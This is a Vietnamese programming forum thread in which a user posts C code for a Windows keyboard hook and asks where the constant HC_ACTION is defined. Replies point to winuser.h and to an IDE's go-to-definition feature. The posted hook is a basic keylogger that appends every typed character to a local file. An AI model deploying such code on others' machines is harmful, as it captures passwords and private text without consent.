01/10/2018, 08:55
Windows Hook proc
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam,
LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='
';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
có ai biết cho em hỏi hằng số HC_ACTION đó được định nghĩa ở đâu ko?()
Bài liên quan
Theo tài liệu của Microsoft thì HC_ACTION là 0
https://msdn.microsoft.com/en-us/library/windows/desktop/ms644984(v=vs.85).aspx
đã biết bằng không nhưng không biết nó được khai báo ở đâu bạn ạ?
Trên máy mình (không phải VS), ở winuser.h, line 436. Bạn nên sử dụng 1 IDE tốt hoặc 1 editor tốt như Visual Studio Code chẳng hạn rồi “Go to definition” là được mà.
cảm ơn nhiều!@@,mới dùng visual nên ko biết vụ này.